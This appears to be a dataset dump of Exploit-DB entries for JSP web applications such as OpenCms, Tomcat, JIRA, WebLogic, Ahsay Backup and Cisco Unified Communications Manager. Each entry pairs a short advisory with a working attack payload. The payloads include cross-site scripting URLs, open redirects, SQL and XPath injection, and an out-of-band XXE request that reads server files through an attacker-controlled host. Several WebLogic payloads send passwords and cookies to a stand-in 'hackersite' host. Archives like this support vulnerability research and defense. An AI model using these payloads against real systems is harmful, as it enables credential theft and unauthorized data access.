deardaniel/secdata-raw huggingface dataset:
Exploit-DB #33785
Description: agXchange ESM - 'ucquerydetails.jsp' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2010-03-23
Author: Lament

Exploit:
source: https://www.securityfocus.com/bid/38896/info

agXchange ESM is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/[agx_application]/pages/ucquerydetails.jsp?QueryID=>%22%27><img%20src%3d%22javascript:alert(31337)%22>
Exploit-DB #33779
Description: agXchange ESM - 'ucschcancelproc.jsp' Open Redirection
Type: webapps
Platform: jsp
Date: 2010-03-22
Author: Lament

Exploit:
source: https://www.securityfocus.com/bid/38879/info

agXchange ESM is prone to an open-redirection vulnerability because the application fails to properly sanitize user-supplied input.

A successful exploit may aid in phishing attacks; other attacks are possible. 

http://www.example.com/[agx_application]/pages/ucschcancelproc.jsp?returnpage=http://www.RedirectExample.com
Exploit-DB #47181
Description: Ahsay Backup 7.x - 8.1.1.50 - XML External Entity Injection
Type: webapps
Platform: jsp
Date: 2019-07-26
Author: Wietse Boonstra

Exploit:
# Unauthenticated XML External Entity (XXE) in Ahsay Backup v7.x - v8.1.0.50. 
# Date: 26-6-2019
# Exploit Author: Wietse Boonstra
# Vendor Homepage: https://ahsay.com
# Software Link: http://ahsay-dn.ahsay.com/v8/81050/cbs-win.exe
# Version: 7.x < 8.1.0.50
# Tested on: Windows / Linux
# CVE : CVE-2019-10266

#Ahsay is vulnerable to a OOB Unauthenticated XML External Entity
#More info https://www.wbsec.nl/ahsay/#CVE-2019-10263

Sending the following POST request will trigger the XXE:

POST /obs/obm8/user/setUserProfile HTTP/1.1
Content-Type: application/octet-stream
Content-Length: 126
Host: 172.16.238.213:80
        
<?xml version="1.0"?>
 <!DOCTYPE root [<!ENTITY % remote SYSTEM "http://attacker/oob"> %remote;%intern; %trick;]>

On http://attacker/oob add the following content:

<!ENTITY % payl SYSTEM "file:///c:/"><!ENTITY % intern "<!ENTITY &#37;
        trick SYSTEM 'file://:%payl;/%payl;'>">

Here it is possible to change file:///c:/ to any directory/file or internal host.
Exploit-DB #31299
Description: Alkacon OpenCMS 7.0.3 - 'tree_files.jsp' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2008-02-25
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/27986/info

Alkacon OpenCms is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

OpenCms 7.0.3 is vulnerable; other versions may also be affected. 

http://www.example.com/opencms/opencms/system/workplace/views/explorer/tree_files.jsp?resource=+*/+alert(document.cookie);+/*+/
Exploit-DB #31475
Description: Alkacon OpenCMS 7.0.3 - 'users_list.jsp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2008-03-24
Author: nnposter

Exploit:
source: https://www.securityfocus.com/bid/28411/info

Alkacon OpenCms is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

OpenCms 7.0.3 is vulnerable; other versions may also be affected.

http://www.example.com/opencms/system/workplace/admin/accounts/users_list.jsp?ispopup=&action=listsearch&framename=&title=&closelink=%252Fopencms%252Fopencms%252Fsystem%252Fworkplace%252Fviews%252Fadmin%252Fadmin-main.jsp%253Faction%253Dinitial%2526path%253D%252Faccounts%252Forgunit&preactiondone=&dialogtype=&message=&resource=&listaction=&base=&selitems=&formname=lsu-form&sortcol=&oufqn=&originalparams=&page=&style=new&root=&path=%252Faccounts%252Forgunit%252Fusers&redirect=&searchfilter=%3C%2Fscript%3E%3Ciframe+onload%3Dalert%28document.cookie%29%3E%3Cscript%3E&listSearchFilter=%3C%2Fscript%3E%3Ciframe+onload%3Dalert%28document.cookie%29%3E%3Cscript%3E
Exploit-DB #32741
Description: Apache JackRabbit 1.4/1.5 Content Repository (JCR) - 'search.jsp?q' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2009-01-20
Author: Red Hat

Exploit:
source: https://www.securityfocus.com/bid/33360/info

Apache Jackrabbit is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Versions prior to Apache Jackrabbit 1.5.2 are vulnerable. 

http://www.example.com/search.jsp?q=%25%22%3Cscript%3Ealert(1)%3C/script%3E
Exploit-DB #32742
Description: Apache JackRabbit 1.4/1.5 Content Repository (JCR) - 'swr.jsp?q' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2009-01-20
Author: Red Hat

Exploit:
source: https://www.securityfocus.com/bid/33360/info
 
Apache Jackrabbit is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
Versions prior to Apache Jackrabbit 1.5.2 are vulnerable. 

http://www.example.com/swr.jsp?q=%25"<script>alert(1)</script>&swrnum=1
Exploit-DB #14617
Description: Apache JackRabbit 2.0.0 - webapp XPath Injection
Type: webapps
Platform: jsp
Date: 2010-08-11
Author: ADEO Security

Exploit:
# Title: Apache JackRabbit webapp XPath Injection
# Author: ADEO Security
# Published: 11/08/2010
# Version: 2.0.0 (Possible all versions)
# Vendor: http://www.apache.org
# Download: http://www.apache.org/dyn/closer.cgi/jackrabbit/2.0.0/jackrabbit-2.0.0-src.zip

# Description: "Apache Jackrabbit is a fully conforming implementation
of the Content Repository for Java Technology API (JCR, specified in
JSR 170 and 283).
A content repository is a hierarchical content store with support for
structured and unstructured content, full text search, versioning,
transactions, observation, and more.
Apache Jackrabbit is a project of the Apache Software Foundation."

# Credit: Vulnerability founded by Canberk BOLAT
        - Mail: canberk.bolat[AT]adeo.com.tr
        - Web: http://security.adeo.com.tr

# Vulnerability:
In search.jsp file HTTP GET parameter "q" included to XPath query
without sanitised if its start with word "related:".

search.jsp
...
String q = request.getParameter("q");
...
       if (q != null && q.length() > 0) {
            String stmt;
            if (q.startsWith("related:")) {
                String path = q.substring("related:".length());
                stmt = "//element(*, nt:file)[rep:similar(jcr:content,
'" + path + "/jcr:content')]/rep:excerpt(.) order by @jcr:score
descending";
                queryTerms = "similar to <b>" +
Text.encodeIllegalXMLCharacters(path) + "</b>";
            }
...
Exploit-DB #30191
Description: Apache MyFaces Tomahawk JSF Framework 1.1.5 - 'Autoscroll' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2007-06-14
Author: Rajat Swarup

Exploit:
source: https://www.securityfocus.com/bid/24480/info

Apache Tomahawk MyFaces JSF Framework is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to launch cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http:/;www.example.com/some_app.jsf?autoscroll=[javascript]
Exploit-DB #30563
Description: Apache Tomcat 5.5.15 - cal2.jsp Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2007-09-04
Author: Tushar Vartak

Exploit:
source: https://www.securityfocus.com/bid/25531/info

Apache Tomcat is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects Apache Tomcat 4.1.31; other versions may also be affected. 

http://www.example.com/examples/jsp/cal/cal2.jsp?time=8am%3cscript%3ealert("XSS!")%3c%2fscript%3e
Exploit-DB #30189
Description: Apache Tomcat 6.0.13 - JSP Example Web Applications Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2007-06-14
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/24476/info

Apache Tomcat is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

http:/;www.example.com/jsp-examples/snp/snoop.jsp;[xss]
Exploit-DB #33678
Description: ARISg 5.0 - 'wflogin.jsp' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2010-02-26
Author: Yaniv Miron

Exploit:
source: https://www.securityfocus.com/bid/38441/info

ARISg is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

ARISg 5.0 is vulnerable; other versions may also be affected. 

http://www.example.com/Aris/wflogin.jsp?errmsg=XSS msg<script>alert('Test XSS')</script>
Exploit-DB #29811
Description: Atlassian JIRA 3.4.2 - IssueNavigator.JSPA Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2007-04-02
Author: syniack

Exploit:
source: https://www.securityfocus.com/bid/23244/info

Atlassian JIRA is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 3.4.2 is affected; prior versions may also be vulnerable. 

http://www.example.com/path/secure/IssueNavigator.jspa?mode=hide&requestId="><script>alert("xss");</script
http://www.example.com/path/secure/IssueNavigator.jspa?mode=hide&requestId="><scriptsrc=http://www.example2.com/re.js></script>
Exploit-DB #29576
Description: Atlassian JIRA 3.7.3 - BrowseProject.JSPA Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2007-02-09
Author: BL4CK

Exploit:
source: https://www.securityfocus.com/bid/22503/info

Atlassian JIRA is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/jira/secure/BrowseProject.jspa?id="><script>alert('XSS')</script>
Exploit-DB #23315
Description: BEA WebLogic 6/7/8 - InteractiveQuery.jsp Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2003-10-31
Author: Corsaire Limited

Exploit:
source: https://www.securityfocus.com/bid/8938/info

It has been reported that BEA WebLogic InteractiveQuery.jsp example application is prone to a cross-site scripting vulnerability. The issue is reported to exist due insufficient sanitization of user-supplied data in an initialization argument called 'person'. It has been reported that if an invalid value is passed to this argument, the software returns the value back to the user in a results page without proper sanitization. The problem may allow a remote attacker to execute HTML or script code in the browser of a user following a malicious link created by an attacker.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication information that could be used to launch further attacks.

BEA WebLogic 8.1 and prior are reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com/examplesWebApp/InteractiveQuery.jsp?person=<script>alert('XSS')</script>
Exploit-DB #25739
Description: BEA WebLogic 7.0/8.1 - Administration Console Error Page Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2005-05-27
Author: Team SHATTER

Exploit:
source: https://www.securityfocus.com/bid/13794/info

BEA WebLogic Server And WebLogic Express are affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the error page.

A successful attack may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue was originally released as part of BID 13717 (BEA WebLogic Server and WebLogic Express Multiple Remote Vulnerabilities). Due to the availability of more information, this vulnerability is being assigned a new BID. 

http://www.example.com:7001/console/a?=<script>alert(document.cookie)</script>
Exploit-DB #25738
Description: BEA WebLogic 7.0/8.1 - Administration Console LoginForm.jsp Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2005-05-27
Author: Team SHATTER

Exploit:
source: https://www.securityfocus.com/bid/13793/info

BEA WebLogic Server And WebLogic Express are affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input to the 'LoginForm.jsp' script.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue was originally released as part of BID 13717 (BEA WebLogic Server and WebLogic Express Multiple Remote Vulnerabilities). Due to the availability of more information, this vulnerability is being assigned a new BID. 

http://www.example.com:7001/console/login/LoginForm.jsp?j_password=""onBlur="window.open('http://hackersite/'%2Bdocument.all.j_password.value)"

http://www.example.com:7001/console/login/LoginForm.jsp?j_username=""onBlur="window.open('http://hackersite/'%2Bdocument.cookie)"

http://www.example.com:7001/console/login/LoginForm.jsp?j_password=""onBlur="window.open('http://hackersite/'%2Bdocument.cookie)"
Exploit-DB #26778
Description: BlackBoard Academic Suite 6.2.3.23 - Frameset.jsp Cross-Domain Frameset Loading
Type: webapps
Platform: jsp
Date: 2005-12-12
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/15814/info

Blackboard Academic Suite is prone to a cross-domain frameset-loading vulnerability.

Successful exploitation may result in various attacks, such as information disclosure and session hijacking. An attacker may also be able to exploit this vulnerability to carry out phishing-style attacks.

Blackboard Academic Suite version 6.0 is reportedly affected by this issue. 

http://www.example.com/webapps/portal/frameset.jsp?tab_id=[tabid]&url=[url]
Exploit-DB #35706
Description: BMC Remedy Knowledge Management 7.5.00 - Default Account / Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2011-05-05
Author: Richard Brain

Exploit:
source: https://www.securityfocus.com/bid/47728/info

BMC Remedy Knowledge Management is prone to a default-account vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Attackers can leverage the default account issue to bypass authentication and gain access without permission. Successful exploits can aid in further attacks.

An attacker may leverage the cross-site scripting issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Remedy Knowledge Management 7.5.00 is vulnerable; other versions may also be affected. 

https://www.example.com/rkm/external.jsp?doc=&#039;%3balert(1)//&user=Self+Help
https://www.example.com/rkm/search.jsp?user=Self+Help&startDate=\&#039;%3balert(1)//
https://www.example.com/rkm/usersettings.jsp?"><script>alert(1)</script>
https://www.example.com/rkm/viewdoc.jsp?doc=><script>alert(1)</script>&user=Self%20Help
https://www.example.com/rkm/AttachmentServlet?="><script>alert(1)</script>
https://www.example.com/rkm/index.jsp?user=Self%20Help
Exploit-DB #27559
Description: Bugzero 4.3.1 - 'edit.jsp' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2006-04-03
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17351/info
 
Bugzero is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/bugzero/jsp/edit.jsp?projectId=&entryId=[XSS]
Exploit-DB #27558
Description: Bugzero 4.3.1 - 'query.jsp?msg' Cross-Site Scripting
Type: webapps
Platform: jsp
Date: 2006-04-03
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17351/info

Bugzero is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/bugzero/jsp/query.jsp?msg=[XSS]
Exploit-DB #23262
Description: Caucho Resin 2.0/2.1 - Multiple HTML Injection / Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: jsp
Date: 2003-10-20
Author: Donnie Werner

Exploit:
source: https://www.securityfocus.com/bid/8852/info

It has been reported that Caucho Resin is prone to multiple HTML Injection and cross-site scripting vulnerabilities in various scripts that may allow a remote attacker to cause hostile HTML or script code to be rendered in the browser of a user who follows a malicious link supplied by the attacker.

The affected scripts include env.jsp, form.jsp, session.jsp, and tictactoe.jsp. The 'name' and 'comment' fields of guestbook.jsp have been reported to be vulnerable to HTML injection. An attacker may exploit this vulnerability to execute arbitrary HTML and script code in the browser of an unsuspecting user. Exploitation may also allow attackers to inject hostile HTML and script code into the sample guestbook.

Successful exploitation of these issues may allow an attacker to steal cookie-based credentials. Other attacks may also be possible.

Caucho Resin version 2.1 and prior have been reported to be prone to this issue, however other versions may be affected as well.

http://www.example.com:8080/examples/tictactoe/tictactoe.jsp?move=<iframe%20src="http://attcker/evil.cgi"></iframe>4
or
<SCRIPT>alert(document.domain);</SCRIPT><SCRIPT>alert(document.cookie);</SCR
Exploit-DB #35672
Description: Cisco Unified Communications Manager 8.5 - 'xmldirectorylist.jsp' Multiple SQL Injections
Type: webapps
Platform: jsp
Date: 2011-04-27
Author: Alberto Revelli

Exploit:
source: https://www.securityfocus.com/bid/47607/info

Cisco Unified Communications Manager is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an authenticated attacker to compromise the affected device, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/ccmcip/xmldirectorylist.jsp?f=vsr'||0/1%20OR%201=1))%20--
http://www.example.com/ccmcip/xmldirectorylist.jsp?f=vsr'||1/0%20OR%201=1))%20--